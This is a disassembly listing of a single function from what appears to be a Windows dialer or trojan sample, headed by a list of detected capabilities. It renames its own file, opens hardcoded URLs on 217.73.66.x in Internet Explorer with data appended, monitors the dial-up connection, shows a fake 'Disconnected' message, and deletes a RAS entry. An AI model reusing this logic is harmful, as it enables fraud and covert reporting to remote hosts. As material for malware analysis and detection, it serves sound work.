Function at 0x401b30
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Create process on windows
Create thread
Enumerate gui resources
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1cc
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 8], ebx
call fcn.00401ac5
mov esi, 0x414a40
push 0x3e80
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov edi, 0x403c20
push esi
push edi
call fcn.00401020
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov cl, al
mov dword [ebp - 0x10], eax
and cl, 7
mov byte [ebp - 1], bl
add cl, 0x30
mov byte [ebp - 4], cl
mov ecx, eax
shr eax, 6
and al, 7
add al, 0x30
shr ecx, 3
mov byte [ebp - 2], al
and cl, 7
lea eax, [ebp - 4]
add cl, 0x30
push eax
push edi
mov byte [ebp - 3], cl
call section..text
pop ecx
pop ecx
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
push eax
push esi
call fcn.00401020
mov al, byte [0x414a40]
pop ecx
pop ecx
cmp al, 0x22
mov ecx, 0x414a41
jne 0x401bd8
cmp byte [0x414a41], 0x22
je 0x401bd5
inc ecx
cmp byte [ecx], 0x22
jne 0x401bcf
inc ecx
jmp 0x401be7
cmp byte [0x414a41], 0x20
jle 0x401be7
inc ecx
cmp byte [ecx], 0x20
jg 0x401be1
cmp byte [ecx], 0x20
jne 0x401d31
inc ecx
mov dword [0x403304], ecx
push dword [0x403304]
call fcn.00401088
cmp eax, 8
pop ecx
jae 0x401c1a
push str.910260__
push dword [0x403304]
call fcn.00401020
pop ecx
pop ecx
call fcn.00401739
lea eax, [ebp - 8]
push eax
push 0x40109c
call dword [sym.imp.USER32.dll_EnumWindows]
cmp dword [ebp - 8], ebx
je 0x401c3e
push 0x2710
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0xc]
push eax
push ebx
call fcn.004013c1
pop ecx
test eax, eax
pop ecx
je 0x401dea
push 9
mov esi, str.http:__217.73.66.1_dlrdir.html_did
pop ecx
lea edi, [ebp - 0x1cc]
rep movsd dword es:[edi], dword [esi]
push 0x37
xor eax, eax
pop ecx
lea edi, [ebp - 0x1a8]
rep stosd dword es:[edi], eax
mov eax, dword [0x403304]
mov byte [eax + 6], bl
push dword [0x403304]
lea eax, [ebp - 0x1cc]
push eax
call section..text
pop ecx
lea eax, [ebp - 0x1cc]
pop ecx
push 3
push 0x4032fc
push eax
push str.iexplore
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x7d0
call edi
lea eax, [ebp - 0x10]
push eax
push ebx
push ebx
push 0x40198f
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push dword [ebp + 8]
mov dword [0x403300], eax
call fcn.004012e6
test eax, eax
pop ecx
je 0x401e3a
push dword [ebp + 0x14]
push dword [ebp + 8]
call fcn.00401348
pop ecx
test eax, eax
pop ecx
je 0x401e3a
mov esi, dword [sym.imp.USER32.dll_PeekMessageA]
push 0x64
call edi
push 1
push ebx
push ebx
lea eax, [ebp - 0x2c]
push ebx
push eax
call esi
test eax, eax
je 0x401d68
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x401d0c
cmp al, bl
mov ecx, esi
mov dword [0x403304], esi
je 0x401d52
cmp al, 0x5c
jne 0x401d44
lea esi, [ecx + 1]
mov al, byte [ecx + 1]
inc ecx
cmp al, bl
jne 0x401d3d
mov dword [0x403304], esi
mov eax, esi
mov cl, byte [eax]
cmp cl, bl
je 0x401bf7
cmp cl, 0x2e
jne 0x401d65
mov byte [eax], bl
inc eax
jmp 0x401d54
lea eax, [ebp - 0xcc]
mov dword [ebp - 0xcc], 0xa0
push eax
push dword [ebp - 0xc]
call sub.RASAPI32.dll_RasGetConnectStatusA
test eax, eax
jne 0x401da1
cmp dword [ebp - 0xc4], ebx
je 0x401d08
cmp dword [ebp - 0xc4], 0x258
je 0x401d08
push 0x64
call edi
lea eax, [ebp - 0xcc]
mov dword [ebp - 0xcc], 0xa0
push eax
push dword [ebp - 0xc]
call sub.RASAPI32.dll_RasGetConnectStatusA
test eax, eax
jne 0x401dd6
cmp dword [ebp - 0xc4], ebx
je 0x401da1
cmp dword [ebp - 0xc4], 0x258
je 0x401da1
push ebx
push str.Disconnected
push str.Youve_been_disconnected_from_the_service_either_because_youve_terminated_the_connection_or_because_youve_reached_the_maxiumum_allowable_call_duration
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x401e2f
lea eax, [ebp - 0x1cc]
push str.http:__217.73.66.16_md.php_data
push eax
call fcn.00401020
push dword [0x403304]
lea eax, [ebp - 0x1cc]
push eax
call section..text
add esp, 0x10
lea eax, [ebp - 0x1cc]
push 3
push 0x4032fc
push eax
push str.iexplore
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push str.PRPX
push ebx
call sub.RASAPI32.dll_RasDeleteEntryA
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10